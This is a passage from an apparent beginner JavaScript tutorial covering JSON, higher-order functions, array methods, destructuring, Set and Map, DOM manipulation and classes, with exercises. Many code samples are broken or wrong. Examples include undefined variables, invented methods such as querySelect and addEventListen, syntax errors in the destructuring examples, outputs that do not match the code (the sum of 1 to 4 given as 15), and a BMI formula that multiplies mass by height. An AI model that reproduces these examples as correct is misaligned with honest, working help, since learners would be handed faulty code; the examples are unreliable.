const txt = JSON.stringify(user,['firstName', 'lastName', 'country', 'city', 'age'],4)
console.log(txt)
```
```sh
{
"firstName": "Asabeneh",
"lastName": "Yetayeh",
"country": "Finland",
"city": "Helsinki",
"age": 250
}
```
### Exercises
```js
const skills = ['HTML', 'CSS', 'JS', 'React','Node', 'Python']
let age = 250;
let isMarried = true
const student = {
firstName:'Asabeneh',
lastName:'Yetayehe',
age:250,
isMarried:true,
skills:['HTML', 'CSS', 'JS', 'React','Node', 'Python', ]
}
const txt = `{
"Alex": {
"email": "alex@alex.com",
"skills": [
"HTML",
"CSS",
"JavaScript"
],
"age": 20,
"isLoggedIn": false,
"points": 30
},
"Asab": {
"email": "asab@asab.com",
"skills": [
"HTML",
"CSS",
"JavaScript",
"Redux",
"MongoDB",
"Express",
"React",
"Node"
],
"age": 25,
"isLoggedIn": false,
"points": 50
},
"Brook": {
"email": "daniel@daniel.com",
"skills": [
"HTML",
"CSS",
"JavaScript",
"React",
"Redux"
],
"age": 30,
"isLoggedIn": true,
"points": 50
},
"Daniel": {
"email": "daniel@alex.com",
"skills": [
"HTML",
"CSS",
"JavaScript",
"Python"
],
"age": 20,
"isLoggedIn": false,
"points": 40
},
"John": {
"email": "john@john.com",
"skills": [
"HTML",
"CSS",
"JavaScript",
"React",
"Redux",
"Node.js"
],
"age": 20,
"isLoggedIn": true,
"points": 50
},
"Thomas": {
"email": "thomas@thomas.com",
"skills": [
"HTML",
"CSS",
"JavaScript",
"React"
],
"age": 20,
"isLoggedIn": false,
"points": 40
},
"Paul": {
"email": "paul@paul.com",
"skills": [
"HTML",
"CSS",
"JavaScript",
"MongoDB",
"Express",
"React",
"Node"
],
"age": 20,
"isLoggedIn": false,
"points": 40
}
}
`
```
### Exercises Level 1
1. Change skills array to JSON using JSON.stringify()
1. Stringify the age variable
1. Stringify the isMarried variable
1. Stringify the student object
### Exercises Level 2
1. Stringify the students object with only firstName, lastName and skills properties
## Higher Order Function
Higher order functions are functions which take other function as a parameter or return a function as a value. The function passed as a parameter is called callback.
### Callback
A callback is a function which can be passed as parameter to other function. See the example below.
```js
// a callback function, the function could be any name
const callback = (n) => {
return n ** 2
}
// function take other function as a callback
function cube(callback, n) {
return callback(n) * n
}
console.log(cube(callback, 3))
```
### Returning function
Higher order functions return function as a value
```js
// Higher order function returning an other function
const higherOrder = n => {
const doSomething = m => {
const doWhatEver = t => {
return 2 * n + 3 * m + t
}
return doWhatEver
}
return doSomething
}
console.log(higherOrder(2)(3)(10))
```
Let us see were we use call back functions.For instance the _forEach_ method uses call back.
```js
const numbers = [1, 2, 3, 4]
const sumArray = arr => {
let sum = 0
const callBack = function(element) {
sum += element
}
numbers.forEach(callback)
return sum
}
console.log(sumArray(numbers))
```
```sh
15
```
The above example can be simplified as follows:
```js
const numbers = [1, 2, 3, 4]
const sumArray = arr => {
let sum = 0
numbers.forEach(function(element) {
sum += element
})
return sum
}
console.log(sumArray(numbers))
```
```sh
15
```
### setting time
In JavaScript we can execute some activity on certain interval of time or we can schedule(wait) for sometime to execute some activities.
- setInterval
- setTimeout
#### setInterval
In JavaScript, we use setInterval higher order function to do some activity continuously with in some interval of time. The setInterval global method take a callback function and a duration as a parameter. The duration is in milliseconds and the callback will be always called in that interval of time.
```js
// syntax
function callBack() {
// code goes here
}
setInterval(callback, duration)
```
```js
function sayHello() {
console.log('Hello')
}
setInterval(sayHello, 2000) // it prints hello in every 2 seconds
```
#### setTimeout
In JavaScript, we use setTimeout higher order function to execute some action at some time in the future. The setTimeout global method take a callback function and a duration as a parameter. The duration is in milliseconds and the callback wait for that amount of time.
```js
// syntax
function callback() {
// code goes here
}
setTimeout(callback, duration) // duration in milliseconds
```
```js
function sayHello() {
console.log('Hello')
}
setTimeout(sayHello, 2000) // it prints hello after it waits for 2 seconds.
```
### Exercises Level 3
1. Parse the *txt* JSON to object.
2. Find the the user who has many skills from the variable stored in *txt*.
## Functional Programming
- *forEach*: Iterate an array elements and use for array. It takes a callback function with elements and index parameter.
```js
arr.forEach(function(element, index){
console.log(index, element)
})
// The above code can be written using arrow function
arr.forEach((element, index) => {
console.log(index, element)
})
// The above code can be written using arrow function and explicit return
arr.forEach((element, index) => console.log(index, element));
```
- *map*: Iterate an array elements and modify the array elements. It takes a callback function with elements and index parameter and return the modified array.
```js
const modifiedArray = arr.map(function(element,index){
return element
});
/*Arrow function and explicit return
const modifiedArray = arr.map((element,index) => element);
*/
//Example
const numbers = [1,2,3,4,5];
const numbersSquare = numbers.map((num) => num * num)
console.log(numbersSquare) // [1,4,9,16,25]
const names = ['Asabeneh', 'Mathias', 'Elias', 'Brook'];
const namesToUpperCase = names.map((name) => name.toUpperCase());
console.log(namesToUpperCase) //['ASABENEH', 'MATHIAS', 'ELIAS', 'BROOK']
const countries = [
'Albania',
'Bolivia',
'Canada',
'Denmark',
'Ethiopia',
'Finland',
'Germany',
'Hungary',
'Ireland',
'Japan',
'Kenya'
];
const countriesToUpperCase = countries.map(function(country){
return country.toUpperCase();
});
console.log(countriesToUpperCase)
// ['ALBANIA', 'BOLIVIA', 'CANADA', 'DENMARK', 'ETHIOPIA', 'FINLAND', 'GERMANY', 'HUNGARY', 'IRELAND', 'JAPAN', 'KENYA']
/*
// Arrow function
const countriesToUpperCase = countries.map((country) => {
return country.toUpperCase();
})
//Explicit return arrow function
const countriesToUpperCase = countries.map(country => country.toUpperCase());
*/
```
- *Filter*: Filter out items which full fill filtering conditions
```js
// Filter countries containing land
const countriesContainingLand = countries.filter(country => country.includes('land'));
console.log(countriesContainingLand ) //['Finland', 'Ireland']
const countriesEndByia = countries.filter(country => country.includes('ia'));
console.log(countriesEndByia) //['Albania', 'Bolivia','Ethiopia']
const countriesHaveFiveLetters = countries.filter(country => country.length === 5);
console.log(countriesHaveFiveLetters ) // ['Japan', 'Kenya']
const scores = [{name:'Asabeneh', score:95},{name:'Mathias', score:80},{name:'Elias', score:50},{name:'Martha', score:85},{name:'John', score:100}];
const scoresGreaterEight = scores.filter((score) => score.score > 80);
console.log(scoresGreaterEight) //[{name: 'Asabeneh', score: 95}, {name: 'Martha', score: 85},{name: 'John', score: 100}]
```
- *reduce*: Reduce takes a callback function. The call back function takes accumulator and current value as a parameter and returns a single value:
```js
const numbers = [1,2,3,4,5];
const sum = numbers.reduce((accum, curr)=> accum + curr);
console.log(sum); // 15
```
- *every*: Check if all the elements are similar in one aspect. It returns boolean
```js
const names = ['Asabeneh', 'Mathias', 'Elias', 'Brook'];
const bools = [true, true, true, true];
const result = bools.every((b)=> {
return b === true;
});
console.log(result) //true
const checkType = names.every((name) => typeof name ==='string');
console.log(checkDataTypes) // true;
```
- *some*: Check if some of the elements are similar in one aspect. It returns boolean
```js
const names = ['Asabeneh', 'Mathias', 'Elias', 'Brook'];
const bools = [true, true, true, true];
const result = bools.some((b)=> {
return b === true;
});
console.log(result) //true
const checkType = names.some((name) => typeof name ==='number');
console.log(checkDataTypes) // false
```
- *find*: Return the first element which satisfies the condition
```js
const names = ['Asabeneh', 'Mathias', 'Elias', 'Brook'];
const ages = [24, 22,25,32,35,18];
const result = names.find(name => name.length > 7);
console.log(result) // Asabeneh
const age = ages.find((age) => age < 20);
console.log(age) // 18
```
- *findIndex*: Return the position of the first element which satisfies the condition
```js
const names = ['Asabeneh', 'Mathias', 'Elias', 'Brook'];
const ages = [24, 22,25,32,35,18];
const result = names.findIndex(name => name.length > 7);
console.log(result) // 0
const age = ages.findIndex((age) => age < 20);
console.log(age) // 5
```
- *sort*: The sort methods arranges the array elements either ascending or descending order. By default, the ***sort()*** method sorts values as strings.This works well for string array items but not for numbers. If number values are sorted as strings and it give us wrong result. Sort method modify the original array. It is recommended to copy the original document before you start sorting.
- *Sorting string values*
```js
const products = ['Milk', 'Coffee', 'Sugar', 'Honey', 'Apple', 'Carrot'];
console.log(products.sort()) // ['Apple', 'Carrot', 'Coffee', 'Honey', 'Milk', 'Sugar']
//Now the original products array is also sorted
```
- *Sorting Numeric values*
As you can see in the example below, 100 came first after sorted in ascending order. Sort converts items to string , since '100' and other numbers compared, 1 which the beginning of the string '100' became the smallest. To avoid this, we use a compare call back function inside the sort method, which return a negative, zero or positive.
```js
const numbers = [9.81, 3.14, 100, 37]
// Using sort method to sort number items provide a wrong result. see below
console.log(numbers.sort()) //[100, 3.14, 37, 9.81]
numbers.sort(function(a, b) {
return a - b;
})
console.log(numbers) // [3.14, 9.81, 37, 100]
numbers.sort(function(a, b) {
return b - a;
});
console.log(numbers) //[100, 37, 9.81, 3.14]
```
- *Sorting Object Arrays*
When ever we sort objects in an array. We use the object key to compare. Lets see the example below.
```js
objArr.sort(function(a, b) {
if (a.key < b.key) return -1;
if (a.key > b.key) return 1;
return 0;
});
// or
objArr.sort(function(a, b) {
if (a['key'] < b['key']) return -1;
if (a['key'] > b['key']) return 1;
return 0;
});
const users = [{name:'Asabeneh', age:150}, {name:'Brook', age:50}, {name:'Eyo', age:100},{name:'Elias', age:22}];
users.sort((a, b) => {
if (a.age < b.age) return -1;
if (a.age > b.age) return 1;
return 0;
});
console.log(users); // sorted ascending
//[{…}, {…}, {…}, {…}]
```
### Exercises
```js
const countries = ['Estonia', 'Finland', 'Sweden', 'Denmark', 'Norway', 'IceLand'];
const names = ['Asabeneh', 'Mathias', 'Elias', 'Brook'];
const numbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
```
1. Explain the difference between ***forEach, map, filter, and reduce***.
2. Define a call function before you them in forEach, map, filter or reduce.
3. Use ***forEach*** to console.log each country in the countries array.
4. Use ***forEach*** to console.log each name in the names array.
5. Use ***forEach*** to console.log each number in the numbers array.
6. Use ***map*** to create a new array by changing each country to uppercase in the countries array;
7. Use ***map*** to create a new array by changing each number to square in the numbers array
8. Use ***map*** to change to each name to uppercase in the names array
9. Use ***filter*** to filter out countries containing ***land***.
10. Use ***filter*** to filter out countries having six character.
11. Use ***filter*** to filter out countries containing six letters and more in the country array.
12. Use ***filter*** to filter out country start with 'E';
13. Chain two or more array iterators(eg. arr.map(callback).filter(callback).reduce(callback))
14. Declare a function called getStringLists which takes an array as a parameter and then returns an array only with string items.
15. Use ***reduce*** to sum all the numbers in the numbers array.
16. Use ***reduce*** to concatenate all the countries and to produce this sentence: ***Estonia, Finland, Sweden, Denmark, Norway, and IceLand are north European countries***
17. Explain the difference between ***some*** and ***every***
18. Use ***some*** to check if some names' length greater than seven in names array
19. Use ***every*** to check if all the countries contain the word land
20. Explain the difference between ***find*** and ***findIndex***.
21. Use ***find*** to find the first country containing only six letters in the countries array
22. Use ***findIndex*** to find the position of the first country containing only six letters in the countries array
23. Use ***findIndex*** to find the position of ***Norway*** if it doesn't exist in the array you will get -1.
24. Use ***findIndex*** to find the position of ***Russia*** if it doesn't exist in the array you will get -1.
25. Declare a function called ***categorizeCountries*** which returns an array of countries which have some common pattern(you find the countries array in this repository as countries.js(eg 'land', 'ia', 'island','stan')).
26. Create a function which return an array of objects, which is the letter and the number of times the letter use to start with a name of a country.
27. Declare a ***getFirstTenCountries*** function and return an array of ten countries. Use different functional programming to work on the countries.js array
28. Declare a ***getLastTenCountries*** function which which returns the last ten countries in the countries array.
29. Find out which *letter* is used many *times* as initial for a country name from the countries array (eg. Finland, Fiji, France etc)
30. Use the countries information, in the data folder. Sort countries by name, by capital, by population
31. Sort out the ten most spoken languages by location.
32. Sort out the ten most populated countries.
## Destructuring and Spread
Destructuring is a way to unpack arrays, and objects and assigning to a distinct variable.
### Destructing Arrays
```js
const numbers = [1, 2,3];
let [numOne, numTwo, numThree] = numbers;
console.log(numOne, numTwo, numThree) // 1,2,3
const names = ['Asabeneh', 'Brook', 'David', 'John']
let [firstPerson, secondPerson, ThirdPerson, fourth Person] = names;
console.log(firstName, secondPerson,thirdPerson, fourthPerson) //Asabeneh, Brook, David, John
const scientificConstants = [2.72, 3.14, 9.81, 37, 100];
let [e, pi, gravity, bodyTemp, boilingTemp] = scientificConstants
console.log(e,pi,gravity, bodyTemp, boilingTemp) //2.72, 3.14, 9.81, 37, 100
```
If we like to skip on of the values in the array we use additional comma. The comma helps to omit the value at that index
```js
const numbers = [1, 2,3];
let [numOne, , , numThree] = numbers; //2 is omitted
console.log(numOne,, numThree) // 1,2,3
const names = ['Asabeneh', 'Brook', 'David', 'John']
let [, secondPerson, , fourth Person] = name; // first and third person is omitted
console.log(secondPerson, fourthPerson) //Brook, John
```
We can use default value in case the value of array for that index is undefined:
```js
const names = [undefined, 'Brook', 'David'];
let [firstPerson = 'Asabeneh', secondPerson, thirdPerson, fourthPerson = 'John' ] = names;
console.log(firstPerson, secondPerson, thirdPerson, fourthPerson) // Asabeneh Brook David John
```
#### Destructuring Object
When we destructure the name of the variable we use to destructure should be exactly the same us the key or property of the object. See example below.
```js
const rectangle = {
width: 20,
height:10,
area: 200
}
let {width, height, area, perimeter} = rectangle;
console.log(width, height, area, perimeter) //20 10 200 undefined
```
#### Renaming during structuring
```js
const rectangle = {
width: 20,
height:10,
area: 200
}
let {width:w, heigh:h, area:a, perimeter:p} = rectangle;
console.log(w, h, a, p) //20 10 200 undefined
```
If the key is not found in the object the variable will be assigned to undefined. In case, the key is not in the object we can give a default value during declaration. See the example.
```js
const rectangle = {
width: 20,
height:10,
area: 200
}
let {width, heigh, area, perimeter = 60} = rectangle;
console.log(width, height, area, perimeter) //20 10 200 60
//Lets modify the object:width to 30 and perimeter to 80
const rectangle = {
width: 30,
height:10,
area: 200,
perimeter:80
}
let {width, heigh, area, perimeter = 60} = rectangle;
console.log(width, height, area, perimeter) //20 10 200 80
```
Destructuring keys as a function parameters. Lets create a function which take a rectangle object and it return a perimeter of a rectangle.
```js
// Without destructuring
const rect = {
width:20,
height:10
}
const calculatePerimeter = (rectangle) => {
return 2 * (rectangle.width + rectangle.height)
}
console.log(calculatePerimeter(rect)) // 60
//with destructuring
const calculatePerimeter = ({width, height}) => {
return 2 * (width + height)
}
console.log(calculatePerimeter(rect)) // 60
//Another Example
const person = {
firstName: 'Asabeneh',
lastName: 'Yetayeh',
age: 200,
country: 'Finland',
job: 'Instructor and Developer',
skills: [
'HTML',
'CSS',
'JavaScript',
'React',
'Redux',
'Node',
'MongoDB',
'Python',
'D3.js'
],
languages: ['Amharic', 'English', 'Suomi(Finnish)']
};
// Lets create a function which give information about the person object without destructuring
const getPersonInfo = obj => {
const skills = obj.skills;
const formattedSkills = skills.slice(0, -1).join(', ');
const languages = obj.languages;
const formattedLanguages = languages.slice(0, -1).join(', ');
return `${obj.firstName} ${obj.lastName} lives in ${obj.country}. He is ${
obj.age
} years old. He is an ${obj.job}. He teaches ${formattedSkills} and ${
skills[skills.length - 1]
}. He speaks ${formattedLanguages} and a little bit of ${languages[2]}.`;
};
console.log(getPersonInfo(person));
// Lets create a function which give information about the person object with destructuring
const getPersonInfo = ({
firstName,
lastName,
age,
country,
job,
skills,
languages
}) => {
const formattedSkills = skills.slice(0, -1).join(', ');
const formattedLanguages = languages.slice(0, -1).join(', ');
return `${firstName} ${lastName} lives in ${country}. He is ${age} years old. He is an ${job}. He teaches ${formattedSkills} and ${skills[skills.length - 1]}. He speaks ${formattedLanguages} and a little bit of ${languages[2]}.`;
};
console.log(getPersonInfo(person))
/*
Asabeneh Yetayeh lives in Finland. He is 200 years old. He is an Instructor and Developer. He teaches HTML, CSS, JavaScript, React, Redux, Node, MongoDB, Python and D3.js. He speaks Amharic, English and a little bit of Suomi(Finnish)
*/
```
### Spread or Rest Operator
#### Exercise: Destructuring
```js
const constants = [2.72, 3.14, 9.81,37, 100]
const countries = ['Finland', 'Estonia', 'Sweden', 'Denmark', 'Norway']
const rectangle = {
width:20,
height:10,
area:200,
perimeter:60
}
```
1. Assign the elements of constants array to e, pi, gravity, humanBodyTemp, waterBoilingTemp.
2. Assign the elements of countries array to fin, est, sw, den, nor
3. Destructure the rectangle object by its properties or keys.
## Map and Set
## Set
Set is a collection of unique elements. Lets see how to create a set
### Creating a set
```js
const companies = new Set()
```
### Adding an element to a set
```js
console.log(companies.size) // 0
companies.add('Google') // add element to the set
companies.add('Facebook')
companies.add('Amazon')
companies.add('Oracle')
companies.add('Microsoft')
console.log(companies.size) // 5 elements in the set
```
### Deleting an element a set
```js
console.log(companies.delete('Google'))
console.log(companies.size) // 4 elements left in the set
```
### Checking an element in the set
```js
console.log(companies.has('Google')) // false
console.log(companies.has('Facebook')) // true
```
### Clearing the set
It removes all the elements
```js
companies.clear()
```
See the example below to learn how to use set.
```js
const languages = [
'English',
'Finnish',
'English',
'French',
'Spanish',
'English',
'French'
]
const langSet = new Set(languages)
console.log(langSet)
console.log(langSet.size)
const counts = []
const count = {}
for (const l of langSet) {
const filteredLang = languages.filter(lng => lng === l)
console.log(filteredLang)
counts.push({ lang: l, count: filteredLang.length })
}
console.log(counts)
```
## Set
Set is a collection a collection of elements. Set can only contains unique elements.
Lets see how to create a set
### Creating an empty set
```js
const companies = new Set()
console.log(companies)
```
```sh
{}
```
### Creating set from array
```js
const languages = [
'English',
'Finnish',
'English',
'French',
'Spanish',
'English',
'French'
]
const setOfLangauges = new Set(languages)
console.log(setOfLangauges)
```
```sh
Set(4) {"English", "Finnish", "French", "Spanish"}
```
Set is an iterable object and we can iterate through each elements.
```js
const languages = [
'English',
'Finnish',
'English',
'French',
'Spanish',
'English',
'French'
]
const setOfLangauges = new Set(languages)
for (const language of setOfLangauges) {
console.log(language)
}
```
```sh
English
Finnish
French
Spanish
```
### Adding an element to a set
```js
const companies = new Set() // creating an empty set
console.log(companies.size) // 0
companies.add('Google') // add element to the set
companies.add('Facebook')
companies.add('Amazon')
companies.add('Oracle')
companies.add('Microsoft')
console.log(companies.size) // 5 elements in the set
console.log(companies)
```
```sh
Set(5) {"Google", "Facebook", "Amazon", "Oracle", "Microsoft"}
```
We can also use loop to add element to a set.
```js
const companies = ['Google', 'Facebook', 'Amazon', 'Oracle', 'Microsoft']
setOfCompanies = new Set()
for (const company of companies) {
setOfCompanies.add(company)
}
```
```sh
Set(5) {"Google", "Facebook", "Amazon", "Oracle", "Microsoft"}
```
### Deleting an element a set
We can delete an element from a set using a delete method.
```js
console.log(companies.delete('Google'))
console.log(companies.size) // 4 elements left in the set
```
### Checking an element in the set
The has method can help to know if a certain element exists in a set.
```js
console.log(companies.has('Apple')) // false
console.log(companies.has('Facebook')) // true
```
### Clearing the set
It removes all the elements from a set.
```js
companies.clear()
console.log(companies)
```
```sh
{}
```
See the example below to learn how to use set.
```js
const languages = [
'English',
'Finnish',
'English',
'French',
'Spanish',
'English',
'French'
]
const langSet = new Set(languages)
console.log(langSet) // Set(4) {"English", "Finnish", "French", "Spanish"}
console.log(langSet.size) // 4
const counts = []
const count = {}
for (const l of langSet) {
const filteredLang = languages.filter(lng => lng === l)
console.log(filteredLang) // ["English", "English", "English"]
counts.push({ lang: l, count: filteredLang.length })
}
console.log(counts)
```
```js
[
{ lang: 'English', count: 3 },
{ lang: 'Finnish', count: 1 },
{ lang: 'French', count: 2 },
{ lang: 'Spanish', count: 1 }
]
```
Other use case of set. For instance to count unique item in an array.
```js
const numbers = [5, 3, 2, 5, 5, 9, 4, 5]
const setOfNumbers = new Set(numbers)
console.log(setOfNumbers)
```
```sh
Set(5) {5, 3, 2, 9, 4}
```
### Union of sets
To find a union to two sets can be achieved using spread operator. Lets find the union of set A and set B (A U B)
```js
let a = [1, 2, 3, 4, 5]
let b = [3, 4, 5, 6]
let c = [...a, ...b]
let A = new Set(a)
let B = new Set(b)
let C = new Set(c)
console.log(C)
```
```sh
Set(6) {1, 2, 3, 4, 5,6}
```
### Intersection of sets
To find an intersection of two sets can be achieved using filter. Lets find the union of set A and set B (A ∩ B)
```js
let a = [1, 2, 3, 4, 5]
let b = [3, 4, 5, 6]
let A = new Set(a)
let B = new Set(b)
let c = a.filter(num => B.has(num))
let C = new Set(c)
console.log(C)
```
```sh
Set(3) {3, 4, 5}
```
### Difference of sets
To find an the difference between two sets can be achieved using filter. Lets find the different of set A and set B (A \ B)
```js
let a = [1, 2, 3, 4, 5]
let b = [3, 4, 5, 6]
let A = new Set(a)
let B = new Set(b)
let c = a.filter(num => !B.has(num))
let C = new Set(c)
console.log(C)
```
```sh
Set(2) {1, 2}
```
## Map
### Creating an empty Map
```js
const map = new Map()
console.log(map)
```
```sh
Map(0) {}
```
### Creating an Map from array
```js
countries = [
['Finland', 'Helsinki'],
['Sweden', 'Stockholm'],
['Norway', 'Oslo']
]
const map = new Map(countries)
console.log(map)
console.log(map.size)
```
```sh
Map(3) {"Finland" => "Helsinki", "Sweden" => "Stockholm", "Norway" => "Oslo"}
3
```
### Adding values to the Map
```js
const countriesMap = new Map()
console.log(countriesMap.size) // 0
countriesMap.set('Finland', 'Helsinki')
countriesMap.set('Sweden', 'Stockholm')
countriesMap.set('Norway', 'Oslo')
console.log(countriesMap)
console.log(countriesMap.size)
```
```sh
Map(3) {"Finland" => "Helsinki", "Sweden" => "Stockholm", "Norway" => "Oslo"}
3
```
### Getting a value from Map
```js
console.log(countriesMap.get('Finland'))
```
```sh
Helsinki
```
### Checking key in Map
Check if a key exist in a map using *has* method. It returns *true* or *false*.
```js
console.log(countriesMap.has('Finland'))
```
```sh
true
```
Getting all values from map using loop
```js
for (const country of countriesMap) {
console.log(country)
}
```
```sh
(2) ["Finland", "Helsinki"]
(2) ["Sweden", "Stockholm"]
(2) ["Norway", "Oslo"]
```
```sh
for (const [country, city] of countriesMap){
console.log(country, city)
}
```
```sh
Finland Helsinki
Sweden Stockholm
Norway Oslo
```
### Exercises: Set and Map
### Exercises:Level 1
```js
const a = {4, 5, 8, 9}
const b = {3, 4, 5, 7}
const countries = ['Finland', 'Sweden', 'Norway']
```
1. create an empty set
2. Create a set containing 0 to 10 using loop
3. Remove an element from a set
4. Clear a set
5. Create a set of 5 string elements from array
6. Create a map of countries and number of characters of a country
### Exercises:Level 2
1. Find a union b
2. Find a intersection b
3. Find a with b
### Exercises:Level 3
1. How many languages are there in the countries object file.
1. \*\*\* Use the countries data to find the 10 most spoken languages:
````js
// Your output should look like this
console.log(mostSpokenLanguages(countries, 10))
[
{'English':91},
{'French':45},
{'Arabic':25},
{'Spanish':24},
{'Russian':9},
{'Portuguese':9},
{'Dutch':8},
{'German':7},
{'Chinese':5},
{'Swahili':4},
{'Serbian':4}]
// Your output should look like this
console.log(mostSpokenLanguages(countries, 3))
[
{'English':91},
{'French':45},
{'Arabic':25}
]````
## Document Object Model (DOM)
HTML document is structured as a JavaScript Object. Every HTML element has a different properties which can help to manipulate it. It is possible to get, create, append or remove HTML elements using JavaScript. Check the examples below. Selecting HTML element using JavaScript is similar to select CSS. To select an HTML element, we use tag name, id, class name. To create an HTML element we use tag name.
### Getting Element
```html
<!DOCTYPE html>
<html>
<head>
<title>Document Object Model/title>
</head>
<body>
<h1 class='title' id='first-title'>First Title</h1>
<h1 class='title' id='second-title'>Second Title</h1>
<h1 class='title' id='third-title'>Third Title</h1>
<h1></h1>
</body>
</html>
```
#### Getting elements by tag name
***getElementsByTagName()*** method returns an HTMLCollection object. An HTMLCollection is an array like list of HTML elements. The length property provides the size of the collection.
```js
const allTitles = document.getElementsByTagName('h1');
console.log(allTitles) //HTMCollections
console.log(allTitles.length) // 4
for(let i = 0; i < allTitles.length; i++){
console.log(allTitles[i]) // prints each elements in the HTMLCollection
}
```
#### Getting elements by class name
***getElementsByClassName()*** method returns an HTMLCollection object. An HTMLCollection is an array like list of HTML elements. The length property provides the size of the collection. It is possible to loop through all the HTMLCollection elements. See the example below
```js
const allTitles = document.getElementsByClassName('title');
console.log(allTitles) //HTMCollections
console.log(allTitles.length) // 4
for(let i = 0; i < allTitles.length; i++){
console.log(allTitles[i]) // prints each elements in the HTMLCollection
}
```
#### Getting an element by id
***getElementsById()*** targets a single HTML element. We pass the id without # as an argument.
```js
let firstTitle = document.getElementById('first-title');
console.log(firstTitle) // <h1>First Title</h1>
```
#### Getting elements by using querySelector using tag, class and id:
***querySelector***: can be used to select HTML element by its tag name, id or class. If the tag name is used it selects only the first element.
```js
let firstTitle = document.querySelect('h1');// select the first available h2 element
let firstTitle = document.querySelector('#first-title'); // select id with first-title
let firstTitle = document.querySelector('.title'); // select the first available h2 element with class title
```
***querySelectorAll***: can be used to select html element by its tag name or class. It return a nodeList which is an array like object which support array methods. We can use ***for loop*** or ***forEach*** to loop through each nodeList elements.
```js
const allTitles = document.querySelectAll('h1');
console.log(allTitles.length) // 4
for(let i = 0; i < allTitles.length; i++){
console.log(allTitles[i]);
}
allTitles.forEach(title => console.log(title))
const allTitles = document.querySelectorAll('.title'); // the same goes for selecting using class
```
### Adding attribute
An attribute is added in the opening tag of HTML which gives additional information about the element. Common HTML attributes: id, class, src, style, href,disabled, title, alt. Lets add id and class for the fourth title.
#### Adding attribute using setAttribute
The ***setAttribute()*** method set any html attribute. It takes two parameters the type of the attribute and the name of the attribute.
Let's add class and id attribute for the fourth title.
```js
const titles = document.querySelectorAll('h1');
titles[3].setAttribute('class', 'title');
titles[3].setAttribute('id', 'fourth-title');
```
#### Adding attribute without setAttribute
Some attributes are DOM object property and they can be set directly. For instance id and class
```js
//another way to setting an attribute
titles[3].className = 'title';
titles[3].id = 'fourth-title';
```
#### Adding class using classList
The class list method is a good method to append additional class. It doesn't override the original class if a class exists
```js
//another way to setting an attribute: append the class, doesn't over ride
titles[3].classList.add('title', 'header-title')
```
### Adding Text content
```js
const titles = document.querySelectorAll('h1');
titles[3].textContent = 'Fourth Title';
```
### Adding style
Lets add some style to our titles. If the element has even index we give it green color else red.
```js
const titles = document.querySelectorAll('h1');
titles.forEach((title,i) => {
title.fontSize = '24px'; // all titles will have 24px font size
if(i % 2 === 0){
title.style.color = 'green';
}
else {
title.style.color = 'red';
}
})
```
### Creating an Element
```js
let title = document.createElement('h1');
let firstTitle = document.getElementById('first-title');
```
### Creating elements
```js
let firstTitle = document.getElementById('first-title');
let title
for(let i = 0; i < 3; i++){
title = document.createElement('h1');
title.className = 'title';
title.style.fontSize = '24px';
}
```
### Appending to a parent element
```js
// creating multiple elements and appending to parent element
let title;
for(let i = 0; i < 3; i++){
title = document.createElement('h1');
title.className = 'title';
title.style.fontSize = '24px';
document.body.appendChild(title);
}
```
### Event Listeners
Common HTML events:onclick, onchange, onmouseover, onmouseout, onkeydown, onkeyup, onload.
We can add event listener method to any DOM object. Use use ***addEventListener()*** method to listen different event types on HTML elements.
The following is an example of click type event.
```js
const button = document.querySelector('button');
button.addEventListener('click', e => {
console.log(e.target);
});
```
### Getting value from an input element
We usually fill forms and forms accept data. Form fields are created using input HTML element.
```html
<input type ='text' placeholder = 'Mass in Kilogram' />
<input type = 'text' placeholder = 'Height in meters' />
<button>Calculate BMI</button>
```
```js
const mass = document.querySelector('#mass');
const height = document.querySelector('#height');
const button = document.querySelector('button');
let bmi;
button.addEventListen('click', ()=>{
bmi = mass.value * height.value;
});
console.log(bmi)
```
#### Exercises:Document Object Model
```html
<!-- index.html -->
<!DOCTYPE html>
<html>
<head>
<title>JavaScript for Everyone:DOM</title>
</head>
<body>
<p>First Paragraph</p>
<p>Second Paragraph</p>
<p>Third Paragraph</p>
<p></p>
</body>
</html>
```
1. Create an index.html file and put four p elements as above: Get the first paragraph by using ***document.querySelector(tagname)*** and tag name
2. Get get each of the the paragraph using ***document.querySelector('#id')*** and by their id
3. Get all the p as nodeList using ***document.querySelectorAll(tagname)*** and by their tag name
4. Loop through the nodeList and get the text content of each paragraph
5. Set a text content to paragraph the fourth paragraph,***Fourth Paragraph***
6. Set id and class attribute for all the paragraphs using different attribute setting methods
7. Change stye of each paragraph using JavaScript(eg. color, background, border, font-size, font-family)
8. Select all paragraphs and loop through each elements and give the first and third paragraph a color of color, and the second and the fourth paragraph a red color
9. Remove all the paragraph and create them using JavaScript
10. Set text content, id and class to each paragraph
11. Create a div container on HTML document and create 100 numbers dynamically and append to the container div. Put each number in 150px by 150px box. If the number is even the background will be lightgreen else lightblue.
12. Use the rgb color generator function or hexaColor generator to create 10 divs with random background colors
13. Use the countries.js to visualize all the countries on the HTML document. You need one wrapper div and box for each countries. In the box display, the letter the country starts with, the name of the country and the number of characters for the country name.
#### DOM: Mini Projects
1. BMI calculator
2. Hexadecimal or RGB color Generator
3. World Countries List
## Classes
JavaScript is an object oriented programming language. Everything in JavScript is an object, with its properties and methods. We create class to create an object. A Class is like an object constructor, or a "blueprint" for creating objects. We instantiate a class to create an object. The class defines attributes and the behavior of the object, while the object, on the other hand, represents the class.
Once we create a class we can create object from it whenever we want. Creating an object from a class is called class instantiation.
In the object section, we saw how to create an object literal. Object literal is a singleton. If we want to get a similar object , we have to write it. However, class allows to create many objects. This helps to reduce amount of code and repetition of code.
### Defining a classes
To define a class in JavaScript we need the keyword _class_ , the name of a class in **CamelCase** and block code(two curly brackets). Let us create a class name Person.
```sh
// syntax
class ClassName {
// code goes here
}
```
**Example:**
```js
class Person {
// code goes here
}
```
We have created an Person class but it does not have any thing inside.
### Class Instantiation
Instantiation class means creating an object from a class. We need the keyword _new_ and we call the name of the class after the word new.
Let us create a dog object from our Person class.
```js
class Person {
// code goes here
}
const person = new Person()
console.log(person)
```
```sh
Person {}
```
As you can see, we have created a person object. Since the class did not have any properties yet the object is also empty.
Let use the class constructor to pass different properties for the class.
### Class Constructor
The constructor is a builtin function which allows as to create a blueprint for our object. The constructor function starts with a keyword constructor followed by a parenthesis. Inside the parenthesis we pass the properties of the object as parameter. We use the _this_ keyword to attach the constructor parameters with the class.
The following Person class constructor has firstName and lastName property. These properties are attached to the Person class using _this_ keyword. _This_ refers to the class itself.
```js
class Person {
constructor(firstName, lastName) {
console.log(this) // Check the output from here
this.firstName = firstName
this.lastName = lastName
}
}
const person = new Person()
console.log(person)
```
```sh
Person {firstName: undefined, lastName}
```
